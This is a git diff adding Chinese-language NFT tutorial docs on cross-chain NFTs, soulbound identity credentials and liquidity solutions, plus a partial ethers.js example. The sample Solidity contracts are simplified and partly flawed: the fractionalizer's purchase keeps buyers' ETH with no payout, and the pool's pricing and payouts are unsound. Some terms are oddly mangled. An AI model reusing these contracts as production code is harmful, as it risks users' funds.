+- 实现适配层以处理不同标准间的差异
+- 参与跨链互操作性工作组和标准化组织
+
+## 未来发展方向
+
+1. **统一跨链NFT标准** - 开发和推广统一的跨链NFT标准，简化跨链操作并提高互操作性
+
+2. **多链原生NFT** - 设计从一开始就考虑多链部署的NFT架构，而不是事后添加跨链功能
+
+3. **跨链NFT聚合器** - 创建能够在多个链上同时操作NFT的聚合平台，提供统一的用户体验
+
+4. **链特定功能扩展** - 允许NFT在不同链上获得特定于该链的额外功能和属性，同时保持核心身份
+
+5. **跨链NFT金融应用** - 开发基于跨链NFT的借贷、分数化和衍生品等金融应用，提高NFT的流动性和价值捕获
diff --git a/nft/Practical-Applications/NFT-Identity-Verification.md b/nft/Practical-Applications/NFT-Identity-Verification.md
new file mode 100644
index 000000000..de8a37c46
--- /dev/null
+++ b/nft/Practical-Applications/NFT-Identity-Verification.md
@@ -0,0 +1,231 @@
+# NFT身份验证系统
+
+## 概述
+
+随着Web3生态系统的发展，去中心化身份验证成为一个关键需求。NFT凭借其唯一性和不可篡改性，为身份验证提供了创新解决方案。本文档探讨如何利用NFT技术构建去中心化身份验证系统，实现数字身份的自主权和可验证性。
+
+## 技术原理
+
+### 灵魂绑定代币与身份NFT
+
+NFT身份验证系统主要基于两种技术实现：
+
+1. **灵魂绑定代币(SBT)** - 不可转让的NFT，永久绑定到特定钱包地址
+2. **可验证凭证(VC)** - 包含可验证声明的数字文档，可以嵌入到NFT元数据中
+
+这两种技术结合，可以创建具有以下特性的身份验证系统：
+
+- **自主权** - 用户完全控制自己的身份数据
+- **可验证性** - 第三方可以验证身份声明而无需中心化机构
+- **选择性披露** - 用户可以选择性地披露身份信息
+- **可撤销性** - 在必要时可以撤销或更新身份凭证
+
+### 身份NFT的元数据结构
+
+身份NFT的元数据通常包含以下信息：
+
+```json
+{
+  "name": "Digital Identity NFT",
+  "description": "Decentralized identity verification credential",
+  "image": "ipfs://QmXxxx...",
+  "attributes": [
+    {
+      "trait_type": "Issuer",
+      "value": "VerifiedOrg"
+    },
+    {
+      "trait_type": "Issuance Date",
+      "value": "2023-05-15"
+    },
+    {
+      "trait_type": "Expiration Date",
+      "value": "2024-05-15"
+    }
+  ],
+  "verifiableCredential": {
+    "@context": ["https://www.w3.org/2018/credentials/v1"],
+    "type": ["VerifiableCredential", "IdentityCredential"],
+    "issuer": "did:eth:0x123...",
+    "issuanceDate": "2023-05-15T00:00:00Z",
+    "credentialSubject": {
+      "id": "did:eth:0x456...",
+      "name": "匿名用户",
+      "verificationLevel": "2"
+    },
+    "proof": {
+      "type": "EcdsaSecp256k1Signature2019",
+      "created": "2023-05-15T00:00:00Z",
+      "proofPurpose": "assertionMethod",
+      "verificationMethod": "did:eth:0x123...#keys-1",
+      "jws": "eyJhbGciOiJFUzI1NksiLCJiNjQiOmZhbHNlLCJjcml0IjpbImI2NCJdfQ..."
+    }
+  }
+}
+```
+
+## 实现方案
+
+### 智能合约设计
+
+身份验证NFT的智能合约需要实现以下功能：
+
+1. 仅授权发行者可以铸造身份NFT
+2. 限制转让功能，确保NFT绑定到特定地址
+3. 支持凭证撤销和更新机制
+4. 提供验证接口，允许第三方应用验证身份
+
+以下是一个简化的Solidity合约示例：
+
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/extensions/ERC721URIStorage.sol";
+import "@openzeppelin/contracts/access/AccessControl.sol";
+
+contract IdentityNFT is ERC721URIStorage, AccessControl {
+    bytes32 public constant ISSUER_ROLE = keccak256("ISSUER_ROLE");
+    
+    // 凭证状态：有效、撤销、过期
+    enum CredentialStatus { Valid, Revoked, Expired }
+    
+    struct Credential {
+        address subject;        // 凭证主体（用户地址）
+        uint256 issuanceDate;  // 发行日期
+        uint256 expirationDate; // 过期日期
+        CredentialStatus status; // 凭证状态
+    }
+    
+    // tokenId => 凭证信息
+    mapping(uint256 => Credential) public credentials;
+    
+    // 用户地址 => tokenId，一个地址只能有一个身份NFT
+    mapping(address => uint256) public userCredential;
+    
+    event CredentialIssued(uint256 indexed tokenId, address indexed subject);
+    event CredentialRevoked(uint256 indexed tokenId);
+    event CredentialUpdated(uint256 indexed tokenId, string newTokenURI);
+    
+    constructor() ERC721("Identity Credential", "IDC") {
+        _setupRole(DEFAULT_ADMIN_ROLE, msg.sender);
+        _setupRole(ISSUER_ROLE, msg.sender);
+    }
+    
+    // 发行新凭证
+    function issueCredential(
+        address to,
+        uint256 tokenId,
+        string memory tokenURI,
+        uint256 expirationDate
+    ) external onlyRole(ISSUER_ROLE) {
+        require(userCredential[to] == 0, "User already has a credential");
+        
+        _safeMint(to, tokenId);
+        _setTokenURI(tokenId, tokenURI);
+        
+        credentials[tokenId] = Credential({
+            subject: to,
+            issuanceDate: block.timestamp,
+            expirationDate: expirationDate,
+            status: CredentialStatus.Valid
+        });
+        
+        userCredential[to] = tokenId;
+        
+        emit CredentialIssued(tokenId, to);
+    }
+    
+    // 撤销凭证
+    function revokeCredential(uint256 tokenId) external onlyRole(ISSUER_ROLE) {
+        require(_exists(tokenId), "Credential does not exist");
+        require(credentials[tokenId].status == CredentialStatus.Valid, "Credential not valid");
+        
+        credentials[tokenId].status = CredentialStatus.Revoked;
+        
+        emit CredentialRevoked(tokenId);
+    }
+    
+    // 更新凭证URI（更新元数据）
+    function updateCredentialURI(uint256 tokenId, string memory newTokenURI) external onlyRole(ISSUER_ROLE) {
+        require(_exists(tokenId), "Credential does not exist");
+        require(credentials[tokenId].status == CredentialStatus.Valid, "Credential not valid");
+        
+        _setTokenURI(tokenId, newTokenURI);
+        
+        emit CredentialUpdated(tokenId, newTokenURI);
+    }
+    
+    // 验证凭证有效性
+    function verifyCredential(uint256 tokenId) external view returns (bool) {
+        if (!_exists(tokenId)) return false;
+        
+        Credential memory credential = credentials[tokenId];
+        
+        return (
+            credential.status == CredentialStatus.Valid &&
+            block.timestamp <= credential.expirationDate
+        );
+    }
+    
+    // 禁止转让，确保凭证绑定到特定地址
+    function _beforeTokenTransfer(
+        address from,
+        address to,
+        uint256 tokenId,
+        uint256 batchSize
+    ) internal override {
+        // 允许从零地址转出（铸造）
+        if (from == address(0)) {
+            super._beforeTokenTransfer(from, to, tokenId, batchSize);
+        } else {
+            // 禁止其他转让
+            revert("Identity NFT cannot be transferred");
+        }
+    }
+    
+    // 支持接口查询
+    function supportsInterface(bytes4 interfaceId) public view override(ERC721, AccessControl) returns (bool) {
+        return super.supportsInterface(interfaceId);
+    }
+}
+```
+
+## 应用场景
+
+### 1. 去中心化应用(DApp)访问控制
+
+NFT身份验证可用于DApp的访问控制，只有持有特定身份NFT的用户才能访问某些功能或内容。这种方式比传统的基于密码的认证更安全，也更符合Web3的去中心化理念。
+
+### 2. DAO成员资格与投票权
+
+在去中心化自治组织(DAO)中，身份NFT可以代表成员资格，并与投票权重相关联。这种方式可以防止女巫攻击，确保每个成员只能投票一次。
+
+### 3. KYC/AML合规性
+
+金融类DApp可以使用NFT身份验证来满足KYC(了解你的客户)和AML(反洗钱)合规要求，同时保护用户隐私。用户只需证明他们拥有经过验证的身份NFT，而无需披露具体身份信息。
+
+### 4. 去中心化声誉系统
+
+身份NFT可以与声誉系统结合，记录用户在不同平台的行为和贡献。这种跨平台的声誉系统可以帮助建立更健康的Web3生态系统。
+
+### 5. 实体世界与元宇宙身份连接
+
+身份NFT可以作为连接实体世界和元宇宙的桥梁，允许用户在虚拟世界中证明其现实身份的某些属性，同时保持匿名性。
+
+## 隐私与安全考量
+
+实现NFT身份验证系统时，需要考虑以下隐私和安全问题：
+
+1. **链上数据最小化** - 敏感身份信息应存储在链下，只在链上保存验证所需的最小数据
+2. **零知识证明集成** - 使用零知识证明技术允许用户证明身份属性而不泄露具体信息
+3. **密钥管理** - 提供安全的密钥恢复机制，防止用户因丢失私钥而永久失去身份
+4. **多重签名授权** - 对重要操作（如撤销）实施多重签名要求，防止单点故障
+5. **元数据安全存储** - 确保链下元数据安全存储，防止未授权访问
+
+## 未来发展方向
+
+1. **跨链身份互操作性** - 开发跨不同区块链网络的身份验证标准
+2. **生物识别集成** - 将生物识别技术与NFT身份验证结合，提高安全性
+3. **自主AI代理授权** - 允许用户授权AI代理使用其身份NFT执行特定任务
+4. **去中心化身份聚合器** - 创建可以聚合多个身份凭证的系统，提供更全面的身份视图
diff --git a/nft/Practical-Applications/NFT-Liquidity-Solutions.md b/nft/Practical-Applications/NFT-Liquidity-Solutions.md
new file mode 100644
index 000000000..a16fbea74
--- /dev/null
+++ b/nft/Practical-Applications/NFT-Liquidity-Solutions.md
@@ -0,0 +1,452 @@
+# NFT流动性解决方案
+
+## 概述
+NFT作为非同质化代币，其独特性和不可分割性导致流动性问题成为制约市场发展的关键因素。与同质化代币相比，NFT交易频率低、价格发现机制不完善、流动性池难以建立。本文档探讨解决NFT流动性的创新技术方案，包括NFT碎片化、租赁、抵押借贷和流动性的机制，以及这些方案的实际应用场景。
+
+## 技术原理
+
+### 1. NFT碎片化
+NFT碎片化是将单个高价值NFT拆分成多个可交易的同质化代币（ERC-20）的过程，使更多用户能够参与NFT的所有权。
+
+**碎片化实现方式：**
+- 锁定原始NFT：将原始NFT锁定在智能合约中
+- 发行代表性代币：创建与原始NFT关联的ERC-20代币
+- 分配所有权：按比例分配ERC-20代币，代表NFT的部分所有权
+- 治理机制：建立代币持有者对原始NFT的治理权利
+
+**碎片化协议设计：**
+碎片化协议通常包含以下组件：
+- 保管合约：安全存储原始NFT
+- 代币合约：管理代表NFT所有权的ERC-20代币
+- 治理合约：处理碎片持有者的投票和决策
+- 流动性机制：促进碎片代币的交易和价格发现
+
+### 2. NFT租赁
+NFT租赁允许NFT所有者在保留所有权的同时，将使用权临时授予他人，创造额外收益并提高资产利用率。
+
+**租赁模型：**
+- 固定期限租赁：预先确定的租期和租金
+- 使用权租赁：基于特定使用次数或条件的租赁
+- 收益分成租赁：租赁期内收益按比例分配
+- 选择性购买租赁：租赁期满后有选择购买的权利
+
+**租赁协议设计（Solidity 示例）：**
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+
+contract NFTRental is ReentrancyGuard {
+    struct Rental {
+        address owner;          // NFT所有者
+        address renter;         // 租用者
+        uint256 rentalFee;      // 租金（每天）
+        uint256 startTime;      // 租赁开始时间
+        uint256 endTime;        // 租赁结束时间
+        bool active;            // 租赁是否有效
+    }
+    mapping(address => mapping(uint256 => Rental)) public rentals;
+    event NFTListed(address indexed nftContract, uint256 indexed tokenId, uint256 rentalFee, uint256 endTime);
+    event NFTRented(address indexed nftContract, uint256 indexed tokenId, address indexed renter, uint256 startTime, uint256 endTime);
+    event RentalCancelled(address indexed nftContract, uint256 indexed tokenId);
+    event RentalEnded(address indexed nftContract, uint256 indexed tokenId);
+    // ...合约实现略...
+}
+```
+
+### 3. NFT抵押借贷
+NFT抵押借贷允许NFT持有者以其NFT作为抵押物获取加密货币贷款，无需出售NFT即可获得流动性。
+
+**借贷模型：**
+- 固定期限贷款：预设贷款期限和利率
+- 可变利率贷款：基于市场需求动态调整利率
+- 无清算贷款：贷款到期后，借款人可以偿还贷款或放弃NFT
+- 分期偿还贷款：按照预定计划分期偿还本金和利息
+
+**价值评估机制：**
+- 历史交易数据：基于NFT或类似NFT的历史成交价格
+- 稀有度评分：基于NFT在集合中的稀有特性
+- 流动性指标：考虑NFT的交易频率和市场深度
+- 去中心化预言机：利用预言机聚合多种数据源的价格信息
+- 同行评估：由专业评估人员或社区共识确定价值
+
+### 4. NFT流动性的机制
+NFT流动性的机制是一种允许即时交易NFT的机制，通过算法定价和流动性的提供者的参与，解决NFT交易中的流动性问题。
+
+**流动性的机制模型：**
+- AMM模型：基于自动做市商原理的NFT交易池
+- 地板价池：专注于交易集合中地板价NFT的流动性的池
+- 特征池：基于特定特征或稀有度的NFT分组交易池
+- 混合池：结合NFT和同质化代币的混合流动性的池
+
+**定价机制：**
+- 债券曲线：使用数学公式根据池中NFT数量动态调整价格
+- 特征权重：根据NFT特征和稀有度调整价格
+- 市场深度：考虑流动性的池规模对价格的影响
+- 交易费用：通过交易费用激励流动性的提供者参与
+
+## 实现方案
+
+### NFT碎片化实现
+以下是一个简化的NFT碎片化智能合约示例：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
+import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+contract NFTFractionalizer is ERC20, IERC721Receiver, Ownable {
+    IERC721 public nftContract;
+    uint256 public tokenId;
+    bool public initialized = false;
+    uint256 public reservePrice;
+    bool public forSale = false;
+    
+    event NFTFractionalized(address indexed nftContract, uint256 indexed tokenId, uint256 fractionSupply);
+    event NFTRedeemed(address indexed redeemer);
+    event SaleCreated(uint256 reservePrice);
+    event SaleCancelled();
+    event BidPlaced(address indexed bidder, uint256 amount);
+    
+    constructor() ERC20("Fractionalized NFT", "FNFT") {}
+    
+    // 初始化并碎片化NFT
+    function fractionalize(
+        address _nftContract,
+        uint256 _tokenId,
+        uint256 _fractionSupply
+    ) external {
+        require(!initialized, "Already initialized");
+        require(_fractionSupply > 0, "Supply must be positive");
+        
+        nftContract = IERC721(_nftContract);
+        tokenId = _tokenId;
+        initialized = true;
+        
+        // 将NFT转移到合约
+        nftContract.safeTransferFrom(msg.sender, address(this), _tokenId);
+        
+        // 铸造碎片代币给调用者
+        _mint(msg.sender, _fractionSupply);
+        
+        emit NFTFractionalized(_nftContract, _tokenId, _fractionSupply);
+    }
+    
+    // 创建整体出售
+    function createSale(uint256 _reservePrice) external onlyOwner {
+        require(initialized, "Not initialized");
+        require(!forSale, "Already for sale");
+        
+        reservePrice = _reservePrice;
+        forSale = true;
+        
+        emit SaleCreated(_reservePrice);
+    }
+    
+    // 取消出售
+    function cancelSale() external onlyOwner {
+        require(forSale, "Not for sale");
+        
+        forSale = false;
+        
+        emit SaleCancelled();
+    }
+    
+    // 购买整个NFT
+    function purchase() external payable {
+        require(forSale, "Not for sale");
+        require(msg.value >= reservePrice, "Price not met");
+        
+        // 计算每个代币的价值
+        uint256 valuePerToken = msg.value / totalSupply();
+        
+        // 将NFT转移给购买者
+        nftContract.safeTransferFrom(address(this), msg.sender, tokenId);
+        
+        // 重置状态
+        initialized = false;
+        forSale = false;
+        
+        emit NFTRedeemed(msg.sender);
+        
+        // 允许代币持有者提取他们的份额
+        // 实际实现中应该使用更安全的提款模式
+    }
+    
+    // 赎回NFT（需要持有所有碎片）
+    function redeem() external {
+        require(initialized, "Not initialized");
+        require(balanceOf(msg.sender) == totalSupply(), "Must own all fractions");
+        
+        // 销毁所有代币
+        _burn(msg.sender, totalSupply());
+        
+        // 将NFT转移给赎回者
+        nftContract.safeTransferFrom(address(this), msg.sender, tokenId);
+        
+        // 重置状态
+        initialized = false;
+        forSale = false;
+        
+        emit NFTRedeemed(msg.sender);
+    }
+    
+    // 实现IERC721Receiver接口
+    function onERC721Received(
+        address,
+        address,
+        uint256,
+        bytes calldata
+    ) external pure override returns (bytes4) {
+        return this.onERC721Received.selector;
+    }
+}
+```
+
+### NFT流动性的机制实现
+以下是一个基于债券曲线的NFT流动性的机制合约示例：
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.0;
+
+import "@openzeppelin/contracts/token/ERC721/IERC721.sol";
+import "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
+import "@openzeppelin/contracts/security/ReentrancyGuard.sol";
+import "@openzeppelin/contracts/access/Ownable.sol";
+
+contract NFTLiquidityPool is IERC721Receiver, ReentrancyGuard, Ownable {
+    IERC721 public nftContract;
+    
+    // 债券曲线参数
+    uint256 public delta;      // 价格变化系数
+    uint256 public basePrice;  // 基础价格
+    
+    // 池中的NFT
+    mapping(uint256 => bool) public nftsInPool;
+    uint256[] public tokenIds;
+    
+    // 费用参数
+    uint256 public fee;        // 交易费率（以基点表示，1% = 100）
+    uint256 public feeBalance; // 累积费用余额
+    
+    event NFTAdded(uint256 indexed tokenId, uint256 price);
+    event NFTRemoved(uint256 indexed tokenId, uint256 price);
+    event ParametersUpdated(uint256 delta, uint256 basePrice, uint256 fee);
+    event FeeWithdrawn(uint256 amount);
+    
+    constructor(
+        address _nftContract,
+        uint256 _delta,
+        uint256 _basePrice,
+        uint256 _fee
+    ) {
+        nftContract = IERC721(_nftContract);
+        delta = _delta;
+        basePrice = _basePrice;
+        fee = _fee;
+    }
+    
+    // 计算购买价格
+    function getBuyPrice() public view returns (uint256) {
+        // 使用债券曲线：价格随池中NFT数量减少而增加
+        return basePrice * (1 + delta * (100 - tokenIds.length) / 100);
+    }
+    
+    // 计算出售价格
+    function getSellPrice() public view returns (uint256) {
+        // 出售价格低于购买价格，差价为交易费用
+        uint256 buyPrice = getBuyPrice();
+        return buyPrice - (buyPrice * fee / 10000);
+    }
+    
+    // 从池中购买NFT
+    function buyNFT() external payable nonReentrant returns (uint256) {
+        require(tokenIds.length > 0, "Pool is empty");
+        
+        uint256 price = getBuyPrice();
+        require(msg.value >= price, "Insufficient payment");
+        
+        // 选择最后一个NFT（可以实现更复杂的选择逻辑）
+        uint256 lastIndex = tokenIds.length - 1;
+        uint256 tokenId = tokenIds[lastIndex];
+        
+        // 更新状态
+        tokenIds.pop();
+        nftsInPool[tokenId] = false;
+        
+        // 计算费用
+        uint256 feeAmount = price * fee / 10000;
+        feeBalance += feeAmount;
+        
+        // 退还多余的ETH
+        if (msg.value > price) {
+            payable(msg.sender).transfer(msg.value - price);
+        }
+        
+        // 转移NFT给买家
+        nftContract.safeTransferFrom(address(this), msg.sender, tokenId);
+        
+        emit NFTRemoved(tokenId, price);
+        
+        return tokenId;
+    }
+    
+    // 向池中出售NFT
+    function sellNFT(uint256 tokenId) external nonReentrant {
+        require(nftContract.ownerOf(tokenId) == msg.sender, "Not the owner");
+        require(!nftsInPool[tokenId], "NFT already in pool");
+        require(nftContract.isApprovedForAll(msg.sender, address(this)) || 
+                nftContract.getApproved(tokenId) == address(this), "Contract not approved");
+        
+        uint256 price = getSellPrice();
+        
+        // 更新状态
+        tokenIds.push(tokenId);
+        nftsInPool[tokenId] = true;
+        
+        // 转移NFT到池中
+        nftContract.safeTransferFrom(msg.sender, address(this), tokenId);
+        
+        // 支付卖家
+        payable(msg.sender).transfer(price);
+        
+        emit NFTAdded(tokenId, price);
+    }
+    
+    // 更新池参数
+    function updateParameters(
+        uint256 _delta,
+        uint256 _basePrice,
+        uint256 _fee
+    ) external onlyOwner {
+        require(_fee <= 1000, "Fee too high"); // 最高10%
+        
+        delta = _delta;
+        basePrice = _basePrice;
+        fee = _fee;
+        
+        emit ParametersUpdated(_delta, _basePrice, _fee);
+    }
+    
+    // 提取累积的费用
+    function withdrawFees() external onlyOwner {
+        uint256 amount = feeBalance;
+        feeBalance = 0;
+        payable(owner()).transfer(amount);
+        
+        emit FeeWithdrawn(amount);
+    }
+    
+    // 获取池中NFT数量
+    function getPoolSize() external view returns (uint256) {
+        return tokenIds.length;
+    }
+    
+    // 实现IERC721Receiver接口
+    function onERC721Received(
+        address,
+        address,
+        uint256,
+        bytes calldata
+    ) external pure override returns (bytes4) {
+        return this.onERC721Received.selector;
+    }
+    
+    // 接收ETH
+    receive() external payable {}
+}
+应用场景
+1. 高价值NFT的民主化所有权
+NFT碎片化使普通投资者能够参与高价值NFT的所有权，降低了参与门槛。例如，价值数百万美元的加密朋克或艺术品NFT可以被碎片化，让更多人拥有部分所有权，同时享受潜在的价值增长。
+
+2. NFT游戏资产的租赁市场
+NFT租赁在游戏领域有广泛应用，玩家可以租用高级装备、角色或土地，而无需全额购买。这种模式既为NFT持有者创造了被动收入，也让新玩家能够以较低成本体验游戏高级内容，促进游戏生态系统的健康发展。
+
+3. 创作者版税的流动性解决方案
+NFT抵押借贷允许创作者以未来版税收入为抵押获取即时流动性。创作者可以将包含版税权益的NFT作为抵押物，获取资金用于新项目开发，而无需等待版税逐渐积累。
+
+4. 集合型NFT的流动性的池
+NFT流动性的池特别适合集合型NFT（如头像项目），可以为地板价NFT提供即时流动性。收藏者可以随时买卖NFT，而无需等待匹配的买家或卖家，大大提高了市场效率和用户体验。
+
+5. 元宇宙资产的金融化
+随着元宇宙的发展，虚拟土地和建筑等NFT资产的价值不断提升。流动性的解决方案使这些资产能够参与更广泛的金融活动，如抵押贷款、分割所有权或租赁，促进元宇宙经济的繁荣发展。
+
+### 当前挑战
+- 价值评估难题：NFT价值评估仍缺乏标准化方法
+- 监管不确定性：碎片化NFT可能面临证券法规监管风险
+- 智能合约风险：复杂的流动性的协议增加了安全漏洞风险
+- 市场分散：不同平台间的流动性的分散降低了整体效率
+- 用户体验：当前解决方案的用户界面和流程仍较复杂
+
+### 未来发展方向
+- 跨链流动性：实现不同区块链网络间NFT流动性的互操作性
+- AI辅助定价：利用人工智能改进NFT价值评估机制
+- 去中心化保险：为NFT流动性的提供者开发风险对冲工具
+- 流动性的挖矿激励：通过代币激励提高NFT流动性的池参与度
+- 合成NFT衍生品：开发基于NFT价格的衍生金融产品
+
+---
+
+## 主流协议案例与对比
+
+### 1. NFTX
+NFTX 是一个允许用户将 NFT 存入金库并铸造可交易的 ERC-20 代币（vToken）的协议。用户可以通过 vToken 实现 NFT 的流动性和碎片化交易。NFTX 采用地板价池和特征池机制，支持即时买卖和流动性挖矿。
+
+**机制亮点：**
+- 地板价池降低了流动性的提供门槛
+- vToken 可在 DEX 上自由交易
+- 支持 NFT 赎回和随机抽取
+
+### 2. Unic.ly
+Unic.ly 通过将 NFT 集合碎片化为 uToken（ERC-20），实现多 NFT 的组合流动性。用户可对碎片化集合进行交易、治理和整体拍卖。
+
+**机制亮点：**
+- 支持多个 NFT 组合碎片化
+- uToken 持有者可发起集合拍卖
+- 拍卖成功后按持仓比例分配收益
+
+### 3. JPEG'd
+JPEG'd 允许用户将高价值 NFT 抵押借贷，获得稳定币 PUSd。采用链上预言机和 DAO 治理，支持 NFT 估值、清算和风险管理。
+
+**机制亮点：**
+- 支持蓝筹 NFT 抵押借贷
+- 采用多重预言机进行估值
+- DAO 治理风险参数
+
+### 4. 其他协议
+- **Fractional.art**：专注于单一 NFT 的碎片化和治理拍卖
+- **Arcade.xyz**：NFT 抵押借贷市场，支持多种 NFT 资产
+- **Sudoswap**：AMM 模型的 NFT 流动性的池，支持自动定价
+
+### 对比分析
+| 协议         | 主要机制         | 适用场景         | 创新点           |
+|--------------|------------------|------------------|------------------|
+| NFTX         | 地板价池、vToken | 集合型 NFT 流动型| 即时买卖、低门槛 |
+| Unic.ly      | 集合碎片化、拍卖 | 多 NFT 组合      | 拍卖治理、组合化 |
+| JPEG'd       | 抵押借贷、预言机 | 蓝筹 NFT 变现    | 稳定币借贷、DAO  |
+| Fractional   | 单 NFT 碎片化    | 高价值 NFT       | 治理拍卖         |
+| Sudoswap     | AMM 流动性的池     | NFT 快速交易     | 自动定价         |
+
+
+## 风险与合规展望
+
+### 1. 风险防控措施
+- **智能合约安全**：采用多重审计、赏金计划、及时修复漏洞
+- **价格操纵风险**：引入多源预言机、去中心化治理、限制大额操作
+- **流动性枯竭风险**：设置流动性激励、动态调整参数、引入保险机制
+- **用户教育**：加强风险提示和操作指引，提升用户安全意识
+
+### 2. 监管与合规趋势
+- **证券属性认定**：NFT 碎片化和流动性的协议可能被部分司法辖区认定为证券，需关注合规要求
+- **KYC/AML 合规**：部分协议已引入 KYC/AML 流程，未来或成主流
+- **跨链与数据隐私**：跨链流动性和用户隐私保护将成为监管关注重点
+- **DAO 治理合规**：协议治理结构需兼顾去中心化与合规性，防范法律风险
+
+---
+
+通过对主流协议的机制、创新点和风险合规措施的补充，本文档为 NFT 流动性的解决方案提供了更全面的参考，助力开发者和用户把握行业发展趋势。
diff --git a/nft/Practical-Applications/examples/cross-chain-nft.js b/nft/Practical-Applications/examples/cross-chain-nft.js
new file mode 100644
index 000000000..e78f0af1a
--- /dev/null
+++ b/nft/Practical-Applications/examples/cross-chain-nft.js
@@ -0,0 +1,503 @@
+const { ethers } = require("ethers");
+const axios = require("axios");
+
+// 跨链NFT合约ABI（简化版）
+const crossChainNFTAbi = [
+  // 查询方法
+  "function balanceOf(address owner) view returns (uint256)",
+  "function ownerOf(uint256 tokenId) view returns (address)",
+  "function tokenURI(uint256 tokenId) view returns (string)",
+  "function originalNFTs(uint256 tokenId) view returns (uint16 chainId, uint256 tokenId, address originalOwner)",
+  "function crossChainMapping(uint16 srcChainId, uint256 srcTokenId) view returns (uint256)",
+  "function estimateFee(uint16 dstChainId, uint256 tokenId, bytes adapterParams) view returns (uint256)",
+  
+  // 交易方法
+  "function mint(string tokenURI) returns (uint256)",
+  "function sendNFT(uint16 dstChainId, uint256 tokenId, bytes adapterParams) payable",
+  
+  // 事件
+  "event NFTSent(uint16 indexed dstChainId, uint256 indexed tokenId)",
+  "event NFTReceived(uint16 indexed srcChainId, uint256 srcTokenId, uint256 newTokenId, address owner)"
+];
+
+// 支持的链配置
+const chainConfigs = {
+  // 以太坊
+  1: {
+    name: "Ethereum",
+    rpc: "https://mainnet.infura.io/v3/YOUR_INFURA_KEY",
+    contractAddress: "0x1234567890123456789012345678901234567890", // 示例地址
+    layerZeroId: 101,
+    explorer: "https://etherscan.io"
+  },
+  // Polygon
+  137: {
+    name: "Polygon",
+    rpc: "https://polygon-rpc.com",
+    contractAddress: "0x2345678901234567890123456789012345678901", // 示例地址
+    layerZeroId: 109,
+    explorer: "https://polygonscan.com"
+  },
+  // Avalanche
+  43114: {
+    name: "Avalanche",
+    rpc: "https://api.avax.network/ext/bc/C/rpc",
+    contractAddress: "0x3456789012345678901234567890123456789012", // 示例地址
+    layerZeroId: 106,
+    explorer: "https://snowtrace.io"
+  },
+  // Optimism
+  10: {
+    name: "Optimism",
+    rpc: "https://mainnet.optimism.io",
+    contractAddress: "0x4567890123456789012345678901234567890123", // 示例地址
+    layerZeroId: 111,
+    explorer: "https://optimistic.etherscan.io"
+  }
+};
+
+/**
+ * 跨链NFT管理类
+ */
+class CrossChainNFTManager {
+  constructor() {
+    this.providers = {};
+    this.contracts = {};
+    this.currentChainId = null;
+    this.signer = null;
+    
+    // 初始化提供者和合约
+    this.initProviders();
+  }
+
+  /**
+   * 初始化所有支持链的提供者和合约
+   */
+  initProviders() {
+    for (const chainId in chainConfigs) {
+      const config = chainConfigs[chainId];
+      
+      // 创建提供者
+      this.providers[chainId] = new ethers.providers.JsonRpcProvider(config.rpc);
+      
+      // 创建合约实例
+      this.contracts[chainId] = new ethers.Contract(
+        config.contractAddress,
+        crossChainNFTAbi,
+        this.providers[chainId]
+      );
+    }
+  }
+
+  /**
+   * 连接用户钱包
+   * @param {number} chainId 要连接的链ID
+   * @returns {Promise<string>} 连接的钱包地址
+   */
+  async connectWallet(chainId) {
+    if (!chainConfigs[chainId]) {
+      throw new Error(`不支持的链ID: ${chainId}`);
+    }
+    
+    // 检查是否在浏览器环境且存在以太坊提供者
+    if (window.ethereum) {
+      try {
+        // 请求切换到指定链
+        await window.ethereum.request({
+          method: "wallet_switchEthereumChain",
+          params: [{ chainId: `0x${chainId.toString(16)}` }]
+        });
+        
+        // 请求用户连接钱包
+        const accounts = await window.ethereum.request({ method: "eth_requestAccounts" });
+        
+        // 创建Web3Provider和签名者
+        const provider = new ethers.providers.Web3Provider(window.ethereum);
+        this.signer = provider.getSigner();
+        
+        // 更新当前链ID
+        this.currentChainId = chainId;
+        
+        // 使用签名者连接合约
+        this.contracts[chainId] = this.contracts[chainId].connect(this.signer);
+        
+        return accounts[0];
+      } catch (error) {
+        console.error("连接钱包失败:", error);
+        throw new Error(`连接钱包失败: ${error.message}`);
+      }
+    } else {
+      throw new Error("未检测到以太坊钱包，请安装MetaMask");
+    }
+  }
+
+  /**
+   * 铸造新的NFT
+   * @param {string} tokenURI NFT的元数据URI
+   * @returns {Promise<Object>} 铸造结果
+   */
+  async mintNFT(tokenURI) {
+    this.checkConnection();
+    
+    try {
+      // 发送铸造交易
+      const tx = await this.contracts[this.currentChainId].mint(tokenURI);
+      
+      // 等待交易确认
+      const receipt = await tx.wait();
+      
+      // 从事件中获取铸造的tokenId
+      const transferEvent = receipt.events.find(event => event.event === "Transfer");
+      const tokenId = transferEvent.args.tokenId.toNumber();
+      
+      return {
+        success: true,
+        tokenId,
+        transactionHash: receipt.transactionHash,
+        explorerLink: `${chainConfigs[this.currentChainId].explorer}/tx/${receipt.transactionHash}`
+      };
+    } catch (error) {
+      console.error("铸造NFT失败:", error);
+      return {
+        success: false,
+        error: error.message
+      };
+    }
+  }
+
+  /**
+   * 获取用户拥有的NFT列表
+   * @param {string} address 用户地址
+   * @returns {Promise<Array>} NFT列表
+   */
+  async getUserNFTs(address) {
+    this.checkConnection();
+    
+    try {
+      const contract = this.contracts[this.currentChainId];
+      
+      // 获取用户拥有的NFT数量
+      const balance = await contract.balanceOf(address);
+      const tokenCount = balance.toNumber();
+      
+      const nfts = [];
+      
+      // 获取每个NFT的详细信息
+      for (let i = 0; i < tokenCount; i++) {
+        // 这里需要实现获取用户的第i个NFT的tokenId
+        // 注意：ERC721没有标准方法获取这个信息，可能需要合约提供额外方法或使用事件查询
+        // 这里使用简化的方法，假设有一个映射或查询方式
+        const tokenId = await this.getTokenIdOfOwnerByIndex(address, i);
+        
+        // 获取NFT元数据
+        const tokenURI = await contract.tokenURI(tokenId);
+        const metadata = await this.fetchMetadata(tokenURI);
+        
+        // 获取原始NFT信息
+        const originalInfo = await contract.originalNFTs(tokenId);
+        
